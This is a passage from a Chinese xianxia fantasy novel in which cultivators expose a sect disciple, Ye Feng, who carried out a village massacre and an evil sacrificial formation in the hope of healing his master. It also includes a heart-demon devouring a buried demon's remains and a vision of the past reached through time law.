“我认为不会。”秦无漪摇头,冷静分析,“以我多日的观察来看,前辈并非莽撞行事之人。而且以她的能力,就算被困其中,想挣脱也不是难事。”
阵法的承载是有极限的,只要楚袖云愿意,连同整个店铺一并摧毁都不在话下。
秦无漪不觉得楚袖云会在这种阴沟里翻船。
她若有所思的眼神落到鹤端砚身上,注意到他微微蹙起的眉间,平静道:“你不至于想不明白这种事?是怎么了?关心则乱吗?”
鹤端砚被她问住,愣了一会:“是吗?”
秦无漪从鹤端砚的态度中,隐隐察觉到什么东西,但她尚未读懂,那丝感觉就飞快的流逝了。
“说起来,你和前辈真的是初相识吗?”
秦无漪将深埋心底的问题讲出。
她总觉得这两人之间的氛围不太对劲,但要让未曾经历过红鸾星动的少女说出一二来,又很困难。
在此之前,她也问过楚袖云类似的问题,但楚袖云只道是素不相识,在魔域是第一次见面。
可这说不通。
便是秦无漪自己,也不会为一个素未谋面的陌生人劳心劳力,又是带人渡雷劫,又是插手邪阵这种麻烦事。
这其中定有缘由。
鹤端砚听她分析一番,也难得思考起这个问题,他后知后觉的意识到,秦无漪说得有道理。
可是……
鹤端砚:“她未曾欺骗你们,我与她确实是在魔域初识的。”
“是吗?”秦无漪费解。
那她就想不通了,为何楚袖云处处关照鹤端砚,人做事总得有个目的吧?
“漪姐你想太多啦。”
叶兰驱头脑简单许多,也没什么探究欲,嘟囔道:“说不定单纯是因为师父合前辈的眼缘呢。”
“那些话本里不都那么写嘛,什么少年少女身负血海深仇,路遇强者,被对方赏识……”
他的思绪一下子飘飞出去,顺势靠在师父身上,嘴里还说着话,视线却突然转到鹤端砚身上,注意到他穿着的法衣。
“诶,师父,我昨天都忘问你了,你怎么渡个雷劫回来,还换了套衣服?”
他伸出蠢蠢欲动的爪子,有心摸摸看,却忽然失了支撑,吧唧摔在地板上。
是鹤端砚嫌他挤,挪开了位置。
“先前的法衣在雷劫中损毁,这是楚道友所赠。”
他说得坦然,但就在这时,一直沉思着,双手交叉托住下颚的秦无漪忽然被这句话点醒!
往日鹤端砚与楚袖云相处的所有细节都一一浮现,情窍未开的少女终于在亲密的赠衣事件中,意识到了什么。
“原来如此,前辈她——”
她眼中闪过了然,正欲与鹤端砚明言,可两两对视,面对当事人尚且懵懂,不明所以的目光,却突然顿住。
秦无漪意识到,自己才是最先开悟的那个。
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那该如何是好……
她迟疑着张嘴,又缓缓闭上嘴。
算了。
她心想。
看破不说破。
此人一番动作,弄得其余人满头雾水,正困惑之际,窗外响动,正主终于降临。
“我怎么?”
楚袖云跃入房中,听到秦无漪欲言又止的半句话。
“没什么。”
秦无漪轻咳一声,转移了话题:“前辈拿到东西了?”
楚袖云出马,哪有不成功的道理。
她掏出账本,扔给秦无漪:“只有近几年的。”
对方道谢,接过之后迅速翻开,很快,在沙沙声中,传来秦无漪肃然的声音。
“诸位,请看这。”
账本被摊开摆在案前,众人被重新拉回案件里,当即起身围到一起,在清楚的看到账本上的字后,神色各异。
只见,在那柔和的烛光中,有关乌羽飞兰的记录赫赫在目,排除掉四位丹师的购买记录以外,只剩最后一个答案。
【乌羽飞兰】:八月十九,出十六两,赠予凌霄宗。
后面还有一行小字,是备注:酬谢昔年援护之情。
茶室内,只剩烛火偶尔发出的细微爆声。
楚袖云抱臂,环视一圈,不明所以:“什么表情?”
秦无漪欲言又止,小禾与叶兰驱看了又看,还是不可置信的样子。
唯有鹤端砚,同楚袖云一样不明所以:“这个宗门有异常吗?”
“不。”
秦无漪感觉真相令人猝不及防,如同迎头一棒,打得人找不到北。
她组织了一下语言,开始讲述起凌霄宗的背景。
在多年以前,凌霄宗也曾是艮山境内屈指可数的大宗门。
那时候,宗门内有器修万千,符修丹修林立,内门天才众多,外门弟子更是不计其数。
“它本是冉冉升起的新日,倘若没有那件事的话……”
“何事?”
“大邑魔君入侵正道。”
在一百年前,结界被攻破,大邑魔君率领魔兵攻入八圣境,而最先遭殃的,就是艮山境。
彼时的艮山境内,民不聊生,尸横遍野,修士起初没有防备,被打得节节败退,差点落败。
“直到我师祖降临于此。”
无极剑尊突然降临,大肆屠戮八圣境内的魔修,最后更是一举击败大邑魔君,平定这场战争。
“但仅凭师祖一人的力量,是无法与所有魔修抗衡的。”
在战争中发力的中坚力量,便是本地的宗门和散修。
凌霄宗亦是其中不可缺失的一部分。
他们举宗门力量,集结所有弟子抵抗魔修,最终惨胜。
虽然魔修重新回到魔域,不再来犯,但凌霄宗元气大伤,凋敝得不成样子,连曾经强大的元婴宗主,都身受重伤,无力支撑宗门事务。
而这样一个沉寂百年,为护持正道倾尽全力的宗门,居然有可能和屠村惨案有关。
这让人如何能接受呢?
秦无漪情绪复杂。
在她说完话后,室内一片寂静,气氛很是沉重。
最后,她艰难的开口:“明日我会以剑阁亲传的身份拜访,弄清楚事情的来龙去脉。”
“只希望……”
只希望事实并非如此,能还凌霄宗一个清白。
16. 化神魔头
次日。
沉寂多年的凌霄宗迎来访客。
秦无漪一行人踏上石阶,穿过恢弘的山门,迎头撞见两个洒扫弟子。
在得知秦无漪的身份后,其中一位弟子引路,带着他们向上通传,最终抵达宗门大殿。
“剑阁首徒?”
听到弟子通传后,殿内走出一位老者,他眉宇有些凌厉,似乎并不好相与,在看向秦无漪一行人时,眼神犀利如鹰。
此人名为郑河,是凌霄宗的执事长老,也是仅存的一位,还有战斗能力的金丹修士。
他的目光扫过眼前这群人,从三位筑基身上略过,又停驻在后方的鹤端砚与楚袖云身上。
一位金丹,还有一位……
实力深不可测,连他也看不穿。
许是元婴或者元婴以上的大能。
可堂堂一介大能,又为何突然降临他们这个小破宗呢?
郑河隐隐感到不妙,视线迅速收回,从那个浑身邪文,活似妖邪鬼物的修士身上移开:“几位进来吧。”
虽然秦无漪尚未自证身份,但郑河先信了三分。
毕竟是修真界,强者为尊才是残酷真理,郑河只能相信他们是正道长黎山的人。
至于不信的后果嘛……只会很可怕。
众人进入大殿,由秦无漪上前与郑河交涉。
她凝出玉牌证明身份,郑河也不拖沓,直切主题,问明来意。
来意自然是调查屠村事件。
但面对怀疑对象时,秦无漪肯定不能明说,只道是自己下山游历,途经此地,便想探望一二。
她师祖曾与凌霄宗共同战斗,也算是有几分交情,这个理由不突兀。
郑河当然清楚这些都是场面话,他与之交谈一会,因为始终保持警惕心理,所以双方都在互相试探,有限的回应对方。
而郑河也在交锋中,分辨出这支队伍里的话事人。
是秦无漪。
唯一的那位金丹,虽然一直关注他们的谈话,却始终在静静聆听,没有发表任何言论。
而作为最深不可测的大佬,楚袖云本人,则是一副事不关己,抱臂走神的懒怠模样。
所以核心还是在于秦无漪。
虽然他不知道这群人的目的是什么,但今日经历的事,让人隐隐嗅到不安的气息。
仿佛是某种他尚未察觉的事发生了……
既然这样,倒不如直接了当的与对方说开。
不过,他要私下摊牌,将这场对局转化为一对一的交锋,省得如此被动。
郑河心中已有决定,他是个雷厉风行的性子,也不愿拖沓,直接道:“秦小友,咱们明人不说暗话。我知晓你来此必有目的,也不必与我周旋了,有话直说吧。”
秦无漪一顿。
对方目光如炬:“老夫看得出你几番婉转,想来事关我凌霄宗,兹事体大。”
“既然如此,不如干脆些,你让你的同伴去偏殿歇息,用些茶水。此地,就留你我二人。”
郑河有一双凌厉如鹰的眼睛,但在看向秦无漪时,竟隐隐透出一丝深藏其中的疲惫:“有什么话,咱们摊开来说清楚,是福是祸……我凌霄宗接着便是了。”
*
“所以,我们真要让他和漪姐交涉吗?”
偏殿内,小禾始终无法放心,在殿内焦急的来回踱步。
她时不时看向大殿,又扭身和其余人说道:“凌霄宗是敌是友,我们尚不能得出结论,又如何能放任他们单独相处?”
叶兰驱其实也有些担心,忧虑的对鹤端砚道:“是啊,师父,漪姐修为不如那个长老,万一他是凶手,要暗下——”
毒手二字还没说出来,鹤端砚便道:“放心吧,他不会的。”
叶兰驱哼哼唧唧,不太信他:“师父,你怎么知道啊,你又不是他,那么肯定干嘛。”
鹤端砚反问:“如果他是凶手的话,对秦无漪出手有什么好处?”
“当然是……”
叶兰驱话起了个头,又卡在喉咙口,说不出个所以然来。
是啊。
如果郑河是凶手,那这个时候就该极力掩饰自己的身份。
在这时,对秦无漪出手的话,岂不是意味着他心里有鬼,反而暴露了自己?
叶兰驱难得用脑子思考问题,他一时哽住,又想说什么:“他……”
“此人并非蠢物。”
楚袖云:“何必要在我神识笼罩之下,对小秦动手。”
又不是活腻歪了。
鹤端砚侧目,青眸专注:“你在听?”
楚袖云支颐,缓慢眨眼:“我在听。”
女修的神识笼罩住整个凌霄宗,隔壁殿宇的交谈早已一字不落的进入她耳中。
而秦无漪现在的状况,她再清楚不过。
“暂时无恙,不过——”
楚袖云眉宇微动:“凌霄宗后山是封禁状态。”
无形的力量漫过宗门,在后山遇到阻碍,被屏障阻拦。
后山内肯定有东西,只是还不知道是什么。
鹤端砚明白她话里的意思:“你有何打算?”
楚袖云:“强闯。”
鹤端砚:“……”
也对,很符合她的作风。
混世魔王无法无天,正欲起身一探究竟,又被鹤端砚抓了回去。
此时,偏殿的门被叩响,一名面容稚嫩,眼神清亮的小弟子端着茶盘走进来,为大家奉茶。
“贵客久等了。”
小弟子模样天真:“请先用茶。”
众人一一接过,大抵是都存在了有意打探的心思,所以与这名小弟子闲聊起来。
什么日常修行、宗门景致,昔日门庭若市,如今门可罗雀,话题自然而然的歪到如今的宗门境遇上。
那小弟子看着年少,对宗门的感情却不作假,谈到此处,一时有些失落。
“这些年,我们宗门的灵气愈发贫瘠,人也越来越少了,好多师兄师姐都离开,下山去了……”
“灵气渐少?”
鹤端砚抓住关键词。
“是啊。”
小弟子托着脸气鼓鼓道:“说到这个我就不高兴!本来我们凌霄宗是方圆百里灵气最足的宝地!可自从后山死了那个魔头后,一切都变了!”
“魔头?”
小禾纳闷的问道:“什么魔头?”
小弟子见大家不明所在,便解释道:“是百年前的一个魔修啦。”
“我也是听师兄们说的,说是之前那场大战中,有个特别厉害的魔头,在我
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们后山的灵脉上布阵,做出了一个传送法阵,应该是想把魔域的魔修直接传送到艮山境的腹地里。”
“不过。”
小弟子说到这,骄傲道:“他那时候虽是化神,却已经身受重伤,所以泄露了气息,被我们宗主发现了。”
“宗主拼尽全力,硬是把那魔头拖在山谷里,没让他逃走。”
“等到后来,长黎山的无极剑尊赶到,一剑将其斩杀,这才终结了魔头的性命。”
也就是在那场战斗中,垂死挣扎的魔头重伤了凌霄宗宗主,更是在死后,魔气外泄,污染了后山灵脉,才导致凌霄宗如今的局面,不得不封禁后山。
这是后山封禁的原因吗?
鹤端砚眸光微动,看向楚袖云。
而楚袖云那边,则与心魔开启了新的交谈。
【……传送阵法啊……】
许久未出现的心魔越听越不对劲:【往事越听越熟悉……不会是他吧……】
百年前、艮山境、传送阵法,还是化神……
符合这些条件的人,它和楚袖云就恰巧知道一个。
【不过谢缠是魔修吗?】心魔困惑。
楚袖云似乎在回忆,很久才回答道:【他与我逃亡时,确实暴露过魔修手段。】
心魔:【……所以你徒弟变魔头了?还和魔修搅合在一块?】
楚袖云:【你问我我问谁?】
心魔:【所以他被无极宰了?】
楚袖云:【你问我我问谁?】
世事无常,心魔也忍不住靠了一声:【你其实早有发现吧,毕竟他最后启动传送阵,就是把你送进魔域的。】
楚袖云:【隐隐有点猜测。】
不过彼时的楚袖云身陷囹圄,自顾不暇,所以未曾细思过。
谢缠此人,情感淡薄,与楚袖云不相上下,除却在乎的几个人外,对旁人往往是漠视态度。
他和魔修搅合在一块也不足为奇。
不知为何,当时离别时,谢缠的神情再度出现在楚袖云脑海。
狂热、朝圣、话里未尽的意思……
他到底想做什么?
又真的死在无极手下吗?
楚袖云支颐,垂落的鸦羽长睫覆盖瞳孔,眸光如平静的深潭,不起波澜。
然后鹤端砚戳了戳她。
楚袖云抓住对方的手:“怎么?”
“你有什么想法?”
楚袖云想了想:“去看看。”
谢缠是否身死于此,还要去实地看看,才见分晓。
奇怪……
鹤端砚倍感意外。
兴许是怔楞的神色过于明显,楚袖云转眸,似笑非笑:“何故这般神情?”
鹤端砚:“你对禁地有兴趣?”
以楚袖云展现出的性格,分明是不会对这些东西上心,那她为何还要去禁地查看?
“有吧。”
楚袖云:“有些好奇。”
她确实有些好奇,想明白谢缠当年到底要做什么。
楚袖云有心与鹤端砚细说,但秦无漪那边,已经结束。
她推门进来,神色平淡,但细看之下,眉宇间有一丝挥之不去的困惑。
在与众人对视中,摇了摇头。
凌霄宗一切正常。
17. 后山骸骨
“凌霄宗宗主,你们应该不陌生吧?”
跟随郑河前往侧峰时,秦无漪将她与郑河的对话娓娓道来。
昔日为阻止魔修启动法阵,宗主被化神重伤,直到如今,还在侧峰疗养。
而那些赠送给凌霄宗的乌羽飞兰,其实是用于给宗主镇痛。
“这些年,宗主的伤势反复,时常昏迷不醒。”
空口无凭,郑河知晓秦无漪不会相信,而邪阵一事非同小可,他只能带上大家,自证宗门清白。
众人跟随他破开禁制,来到宗主洞府中。
不比弟子们的住所,宗主的洞府更像是一个小世界,有山有水,亦有亭台楼阁。
郑河带着大家进入起居室,在层层遮蔽的帷幕中,先是瞧见一位侍疾的少年。
少年原本在专心致志的研磨药粉,郑河唤他一声,他才如梦初醒般,当即起身行礼,又安静的退到一旁。
沉默得像个幽灵。
郑河:“这是叶风,宗主的亲传弟子。”
众人礼貌问候,却发现对方以动作回应,并不言语,似乎是……
哑巴?
“风儿幼年受过惊吓,无法言语。”
郑河不想对往事谈论过多,淡淡回复道,便掀开帷幕。
凌霄宗宗主名叫萧玄山,是个削瘦的中年男人,此时正躺在床上,紧闭双眼,一副活死人模样。
他在多年前的战斗中根基受创,被魔气侵袭,始终没有好转。
扎根在奇经八脉里的魔气每每被拔出后,又会再度滋生,在经脉里游走,呈现在皮肤上,就是遍布脸颊,如蛛网般的黑纹。
室内燃着香,白烟袅袅,在帷幕中缠绕。
那正是乌羽飞兰的香气。
“昔日宗主举宗之力,死守镇岳城,玉兰汀也因此得以庇护,所以为报答谢之恩,才定期赠送有镇痛功效的灵植来。”
郑河:“宗主才能睡个好觉……”
他将玉简递给大家,那里面记录着每一次乌羽飞兰的用量,确实能和玉兰汀的账本对上。
鹤端砚:“敢问,能接触到乌羽飞兰的人,除了叶风,还有谁?”
郑河:“事关宗主安危,此事不便于其他人插手,所以一直以来,都是风儿在做。”
他说罢,看到大家的神情,不由得沉下脸来:“不会是他!风儿这孩子是我看着长大的,他心性如何,我最了解不过!”
泥人尚且有三分火气,更不要说郑河。
几番怀疑已经让他颇为不悦,若不是估计楚袖云在此,想必是要将他们轰出山门了。
鹤端砚并未就此退却,只平静道:“郑长老,我并非怀疑他。我们是为查清事实而来,自然不可能放过任何一点信息。”
“请问,有关乌羽飞兰的取用,只经过叶风一人之手吗?”
郑河仍有不悦,皱着眉:“即便是亲传取药,也需要掌管库房的长老见证,并且留存记录。至于其余的事,是他一人完成的。”
“风儿虽然内敛,但也心思细腻,一向乖巧。此事交予他,宗门上下无人有异议。”
“而且,”郑河说出了最关键的一点,“他没有理由要做那等恶事!”
众人一阵沉默。
郑河说到点子上了。
不管是屠村,还是邪阵,凶手做这种事,就必然有个目的。
从线索来看,叶风有嫌疑,但如果凶手是他,那他的目的是什么呢?
他能从邪阵中得到什么好处呢?
“这老头很信他。”
楚袖云挂在鹤端砚肩头,柔声低语:“你怎么想的?要抓他过来问清楚吗?”
话未经掩饰,落入郑河耳中,叫他黑了脸。
而鹤端砚明白,若真按楚袖云的想法来,今日就无法善了了。
叶风只是众多嫌疑人中的一个,他们也没有理由动用强制手段。
“我已知晓。”
鹤端砚颔首:“今日叨扰了。”
众人留下不少能疗伤止痛的灵植,便离开洞府,在郑河复杂的注视下,沿着来路下山。
山风穿过林间,卷起枯黄的落叶,带来深秋的寒意。
直到彻底走出山门,回到山脚下的平地,秦无漪才停下脚步。
她道:“郑长老那边态度坚决,我们接下来该如何行事?”
从郑河口中得不到更多有关叶风的消息,但他作为能直接接触乌羽飞兰的人,嫌疑很大,大家不可能因为长老的一面之词,就忽略他。
“对他的话……和之前对丹师的调查一样,摸清平时的行踪以及人迹往来。”
鹤端砚:“此外,我有意查探艮山境内的情况,看是否存在类似的屠村事件。”
其实他早就想这样做了,只是这两日没那个时间,如今案件卡在新的节点上,他便想尽可能多的搜集信息。
“好。”秦无漪点头,“那就分头行动。”
一行人达成共识,开始敲定行动细节,最终秦无漪、小禾、叶兰驱三人决定去调查叶风,故而先行一步。
始终游历在外,偶尔掺和一脚的楚袖云现在对禁地更感兴趣,她存了探究之意,便与鹤端砚约定,等她探过后山之后,再去寻他,与之汇合。
鹤端砚颔首,看着对方消失在林间。
*
在越发浓郁的暮色中,身影化作雷蛇,在山石中穿梭,落进一片灰蒙蒙的山林中。
那是凌霄宗的后山禁地。
它看似寻常,不过是随处可见的山林,可在楚袖云的感知下,却截然不同。
自内部喷涌的精纯灵力如丝如线,纵横交错,构成一张严密的大网,将整片后山牢牢封锁。
那是属于无极剑尊的灵力。
其纯粹,强大,直至百年以后的今日,依旧坚不可摧。
楚袖云穿过封印,如一滴流入大海中的露珠,悄无声息的融入其中。
视线忽而变暗,灰蒙蒙的气体在巨大的灵气罩子内流动,亦如此前的邪阵一样,无处释放的魔气在地面上流淌,它漆黑,粘稠,简直如同液体般。
这里没有风声,没有虫鸣,地面寸草不生,裸露着黄白的动物骸骨,犹如坟墓。
百年前的战斗痕迹依旧清晰,楚袖云顺着地面的剑痕往深处走去,最终来到禁地的核心。
核心在一处山谷。
谷内遍布剑痕、法器碎片和焦化的阵旗。
而在剑痕最为密集的中心,则跪立着一具人形骸骨。
骸骨头颅微微昂起,空洞的眼窝望向天空,胸骨处,则插着一柄剑。
剑上以血绘制符文,不住的迸发金光,镇压着这具死去多年的尸体。
楚袖云站立在骸骨前,垂首,身躯遮蔽天光,投下浓重的阴影。
心魔脱身而出,趴伏在楚袖云肩头。
他们共同注视着骸骨,看到魔气如水般从骸骨中流出,没入泥土,污染灵脉。
【如此浓重的魔气,连无极都没办法彻底根除,只能以剑镇压。】
心魔道:【看来你徒弟也不简单啊。】<
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楚袖云:“他应该是魔。”
魔,毫无疑问,是个稀有物种。
它与心魔这类物种不同,本身是魔神裂解后的产物,自魔气中诞生,与魔气密不可分,相辅相成。
所以谢缠死后的骸骨才会不断滋生魔气。
他非人族。
【难怪此前与他同行时,我们会被截杀。】
心魔:【我一直以为,无极是为诛杀你我而来,结果是他啊。】
楚袖云:“我与谢缠,都可以是她的目标。”
对无极来说,应该都没区别。
不过,谢缠又是怎么回事呢?
一个魔族,为何隐瞒身份,拜入她门下呢?又为何要在楚袖云飞升失败后,引导她奔赴魔域?
即便受阻、即使付出性命,也要把她送入魔域。
他的目的是什么?
故人已死,疑团却刚刚浮起。
楚袖云将视线移开,落到四周。
地面除却沉寂百年的尘土外,还有一些脚印。
相比较尘土而言,脚印更新鲜,也很凌乱,能看出当事人的混乱。
楚袖云沿着足迹前行,绕着尸骸转了两圈,随后站立在一处剑痕旁。
剑痕旁可能曾经压着什么东西,有手掌那么大的一处压痕,轮廓模糊,呈长条状。
楚袖云比划一下:“是玉简。”
答案已经很明显了。
心魔:【有人误闯进来,还取走了谢缠的遗物。】
屠村惨案、邪阵的诞生似乎找到了源头。
【那个叫叶风的,还真有可能是凶手。】
心魔:【你要管吗?】
楚袖云漫不经心地应了一声,又感知到灵力波动,旋即翻阅玉简。
玉简形似竹条,表面流动着微光,是鹤端砚在传讯。
【有情况。】
看来鹤端砚那边,也有新发现。
她眉梢微动,紧接着,伸手握住纵贯骸骨的剑。
在五指紧扣中,剑身上的符文迸发金光,发出激烈的反抗。
剑鸣阵阵,锐不可当的剑意爆发,震得山摇地动,封印也忽明忽暗,闪烁个不停。
咔擦。
无形的符文碎裂,剑从胸骨中拔出,如被洗濯般焕发清亮光泽。
“发什么呆?”
楚袖云:“还不吃掉他。”
心魔这才回神,哦哦了两声,飞落到漆黑的骸骨上,张开血盆蛇口。
海量浓郁的魔气灌入它喉中,那些扎根在泥土中的魔气被抽离,不由自主的流向蛇口。
它的身形开始暴涨,化作遮天蔽日的黑影,在时隐时现的封印屏障内,恍若吞天巨蟒。
【你真的把我养得很好……吸溜……】
心魔一面吞噬魔物,一面还不忘赞美楚袖云:【我觉得我们的关系有了新的进展……吸溜……我现在愿意为你赴汤蹈火……】
无极虽然强大,但只是以剑杀人的好手,物理上的伤害对魔物有效,却无法根除滋生的魔气。
只有魔物之间,才能相互吞噬,彻底清剿此地的魔气。
片刻后,心魔吞掉骸骨中的魔物本源,重新落回楚袖云头上。
它扭动着细长的身躯,嘟囔了一声要消化,便钻进人灵台,瞬间睡死。
再看此地,魔气一扫而空。
原本骸骨所在之地,只余一撮白灰。
源头已失,土地露出本来面貌,在封印消散之际,楚袖云身影闪烁,化作雷光消失。
18. 时间法则 黄昏。
黄昏。
残阳如血,为枯木镀上金红色。
鹤端砚站在被雷劈得焦黑的古树旁,对手中的物件不住观察。
那是一枚同样焦黑的阵旗。
与古木一同被雷劈毁,从而泄露气息,引来鹤端砚的查看。
兽皮制成的旗面已经完全被焚毁,无法得到有用信息,但采用脊骨制作的旗杆,虽然残缺,但依旧刻有少量咒文。
鹤端砚一行行摸索过去。
“怨魂聚……煞气……凝……”
咒文模糊,只能辨认出零星字眼。
给出的信息太少,鹤端砚选择继续,而就在他认真摸索时,一丝邪气已在悄然中,顺着旗杆钻入鹤端砚体内。
他手指一颤,仿佛被什么东西刺中,视线骤然扭曲,在天旋地转中,意识跌入深渊。
“唰。”
手起刀落,妖狼头颅落地。
它浑浊的眼珠定格在上方,沉默的少年面容染血,神色漠然。
他向头颅伸手,黑暗就此降临。
在意识消弭的前一刻,视野陷入黑暗的妖狼听到了奇怪的声音。
嘶啦。
像是衣物撕碎的响声。
痛。
剧痛。
似火燎,似刀割,鹤端砚只觉自己犹如案板上的鱼,被刮鳞断骨,处理得一干二净。
刀尖从脊骨上刮过,带来细微的震颤。
鹤端砚努力想睁开眼,可视野里一片黑暗,他犹如一块死肉,无法动作,无法言语,连最简单的睁眼都做不到。
他只能感受。
感受一场来自过去的残杀。
尸体被慢条斯理的拆解,分成有用与无用两个部分。
剧痛如潮水,一波接着一波,就在即将淹没意识的刹那,他听到一个词。
愿望。
滋——
惨叫骤然响起。
尖锐刺耳的声音如针一般,刺入鹤端砚的耳膜。
邪气似落入油锅中,不断的抽搐、挣扎,随即被一股强悍的、近乎恐怖的力量撕碎、焚毁。
突然间,好像有股巨力牵引,将鹤端砚掉入深渊的意识再度拉起,他如同乘云而上,破开黑暗,眼前骤然光明。
鹤端砚睁开眼。
黑发如蜿蜒爬行的漆黑小蛇,垂落在他脸颊,好似落入了巨蛛的巢穴,被无数密密麻麻的黑发包裹。
夕阳……
夕阳好像沉得更低了。
不然为何眼前如此昏暗,连来人的脸都看不清?
意识渐渐回笼,脸上传来细微的痒意。
是女修的手指在颊边摩挲,又以掌心托住他苍白的小半张脸。
“愿望?”
他听到楚袖云低语。
说的正是“他”被杀害时,听到的词。
“我……”
鹤端砚还有些茫然,不明白自己怎么了。
他将困惑的眼神投向楚袖云,对方手中掐诀,一面稳固他的神魂,一面说道:“神魂离体。”
鹤端砚的神魂被邪气侵蚀,脱离了躯体,竟然回溯到妖狼被杀死的时刻。
楚袖云仔细检查那枚阵旗:“这上面,附着时间法则……”
在三神陨落后,时间、空间和因果的力量散于天地,才得以被修士感悟。
但能初步运用时间法则的,最起码也得是化神。
不用想,这力量大概又是倒霉徒弟谢缠留下的。
“时间法则?”
高阶修士门清儿的东西,往往是低阶修士闻所未闻的。
鹤端砚不解。
“一种能操纵时间的法则力量。”
掌握这种力量的人,能控制万物的时间,无论是过去,现在还是未来,都不在话下。
但此法如此逆天,自然不是人人能学。
首先,整个修真界掌握时间法则的人,不超过十个。
其次,再厉害的修士,也无法在不伤及自身的情况下,通过时间法则对世界产生大的影响。
他们仅仅能回溯一小块区域的时间,如果想造成更大的影响,则需要付出相应代价。
神智、寿元、生命,甚至要承担篡改宿命的可怕后果,影响自己和身边,乃至整个修真界的人。
鹤端砚:“如你所说,那这时间法则,岂不是弊大于利?”
楚袖云:“毕竟是神明遗落的权柄。人族无法掌控,也很正常。”
真正的时间法则有颠覆世界,搅弄因果的能力,又如何能在天道之下,为修士所用?
“不过,”楚袖云又说,“神明遗留的法器还在,只要得到,便可借助它,增大法则力量。”
可三神的法器在哪呢?
修真界的人寻找万年之久,也不得其踪。
法器也好,神明也好,这些离鹤端砚太远,他只在思考一个问题。
“那我们有办法通过阵旗上附着的法则力量,回溯时间,找到凶手吗?”
阵旗上邪气已除,时间法则却尚未湮灭,他认为,可以试着催动这点力量,回溯到过去。
楚袖云笑起来:“可行。”
说干就干,鹤端砚当即行动。
他调用神识,朝着阵旗探去。
在残缺模糊的咒文中,触碰到一缕稀薄的光。
一瞬间,视野再度扭曲,神魂从躯壳中脱离,在天旋地转中,跌入一片玄妙离奇的空间。
好似神游太虚,他进入了一个超脱现实的世界,在那,枯木、焦土、残阳和远处的山峦都消失了。
天地万物失去了原本的模样,变作一团团五颜六色的光点,悬浮在虚空中。
有的明,有的暗。
有的红,有的黄。
他下意识向楚袖云看去,原本楚袖云所处的位置,只剩下一团剔透的青绿色。
在“看到”的刹那,楚袖云似有所察觉,目光仿佛穿透世界,落到另一个维度上。
高阶修士的强大,可见一斑,连感知都这样敏锐。
鹤端砚收回目光,又朝着离自己最近的光点探去。
顷刻间,神魂被吸入其中,回到过去。
这一次,他没有进入妖狼的身体,而是如同幽魂般飘在半空。
破碎的狼尸。
凌乱的手札。
以及凶手的真容……
鹤端砚切断连接,神魂重若千斤,被巨力牵引着,回归身体。
仿佛尘埃落定。
真相浮出水面。
“是叶风。”
*
雷光撕裂天空,降落到宗主洞府前。
小道上,携药而来的少年漠然抬眸,瞧见一位女修。
她很高,鸦发白肤
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,红文覆面,活脱脱一柄出鞘的凶刃,煞气逼人。
与之对视的瞬间,叶风从那双毫无情绪的眼睛中察觉出危险,他停在原地,身体忽的,不受控般飞过去。
在被女修摄入掌心时,空中一声暴呵。
“住手!”
是察觉有人入侵的郑河。
他爪似刀光,声音猎猎,破空呼啸。
楚袖云眼都没抬,郑河的攻击便卡在咫尺间,被凭空出现的护体光幕阻拦,不得寸进。
即使强弱如天堑,郑河在震惊之余也没有退让,厉声道:“阁下!”
凌霄宗没落,但风骨依在,即使身为弱者,他也敢向强者发问,掷地有声:“你入侵我宗,意图对宗主亲传下手,到底是为什么!”
“自然是为证实一件事。”
楚袖云不为所动,直接将叶风的储物戒夺走。
雷光一闪,储物戒上的神识印记已被抹去,她屈指捏碎,只听哗啦一声,存储其中的物品尽数落地。
夜色沉沉,照在那堆物品上。
记录着奇怪图案的手札、散发诡异香味的丹药……
一卷散发着邪气波动的玉简悄然出现在楚袖云手中,她引动灵力,那玉简里骤然浮现出一行小字:怨魂聚,煞气凝……
“还真在你手里。”
楚袖云本是为看住叶风而来。
鹤端砚与之分开,已经去叶风制作阵旗的洞窟内收缴作案工具,走前拜托她先一步看住叶风,避免对方遁逃。
楚袖云猜测,以叶风的谨慎,不会在洞窟中留下身份痕迹,所以在控制叶风的瞬间,便决定从他身上寻找最要命的东西。
果不其然。
玉简、手札、丹药,每一件都向郑河证实,叶风是屠村的凶手。
郑河的表情也不出人意外,僵硬的盯着玉简,又寸寸移动,挪到地上的手札和丹药。
他如遭雷劈,怀抱着最后一丝希望看向叶风。
然而,在看到对方的神情后,一颗心脏仿佛都被浸在冰水中,凉透了。
叶风没有恐惧,也没有绝望,只有一种计划被摧毁的遗憾。
除此之外,便再无别的情绪。
审问是在凌霄宗的监牢里进行的。
在场三人,楚袖云、郑河以及叶风。
楚袖云当然懒得费神,所以还是由郑河动手,问出了结果。
事情的来龙去脉很简单。
多年前,叶风曾误闯禁地,并在谢缠的埋骨地,得到一枚玉简。
玉简上详细记录了一个献祭法阵,要取怨魂凝结的煞气所用,供法阵吞噬,从而,能实现……
“愿望。”
一百年多没说话的叶风终于开口。
他没有抵抗。
或许是深知抵抗无用,或许是知道,事情没有回旋的余地。
他说:“还差一点……”
多年没有发声,导致他的声音干涩、迟缓,似乎已经忘记了,作为人类该如何发音。
话断断续续:“我只差……一点……就完成了……”
“愿望……愿望会实现……”
“师父会……会好起来……”
在郑河越来越震惊的目光中,他不解的问道:“我没有影响到哪位道友,受创的只是一群凡人。”
“师伯,你为何要生气?”
19. 生命的重量
从监牢中走出时,郑河仿佛老了几十岁。
深秋萧索。
在呼啸的寒风中,他走在冷清的山道上,脚步很慢,好似陷入了回忆。
良久良久,才缓慢开口:“他,他也曾是个懂事乖巧的孩子……”
叶风刚出生那会,就入了凌霄宗的山门。
他是个弃婴,被萧玄山带回宗门抚养,在他座下长大。
从一岁、到五岁、再到八岁,孩子长得飞快,好像只是眨眼的功夫,就窜出去一大截儿。
他勤学苦练、尊师重道,原本该如萧玄山那般,长成一个兼济苍生的修士。
如果没有那件事的话……
那是一个深夜。
萧玄山察觉后山异状,与其余长老一同查探情况,而后在灵脉处,见到一个邪魔。
邪魔被重伤,洞穿身体倒地不起,身下的传送法阵则不断放光,显然是即将启动。
萧玄山如何能让对方得逞?
他以一介元婴修为与之缠斗,及时拖住对方脚步,等到无极剑尊赶来。
可也就是这一战,他被对方毁去大半个道体,在被急迫的郑河带上山时,已经是血肉模糊的惨状。
皮肉被魔气溶解,吧嗒吧嗒的掉落地面。
而郑河情急之下,在给宗主疗伤时,竟没注意到,彼时有个年幼的孩童看到了全过程。
虽说是弟子,但萧玄山无儿无女,早就把叶风当做了亲生子。
在此之前,孩子一直认为,父亲是一颗
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高大的树。
他巍峨,沉稳,仿佛无所不能,在他小小的世界里,出现的每一次烦恼,似乎都只是大人轻飘飘,抬手就能解决的事情。
可这一切变了。
好像什么都能解决的父亲被轻易的击垮。
孩子心里的树倒塌。
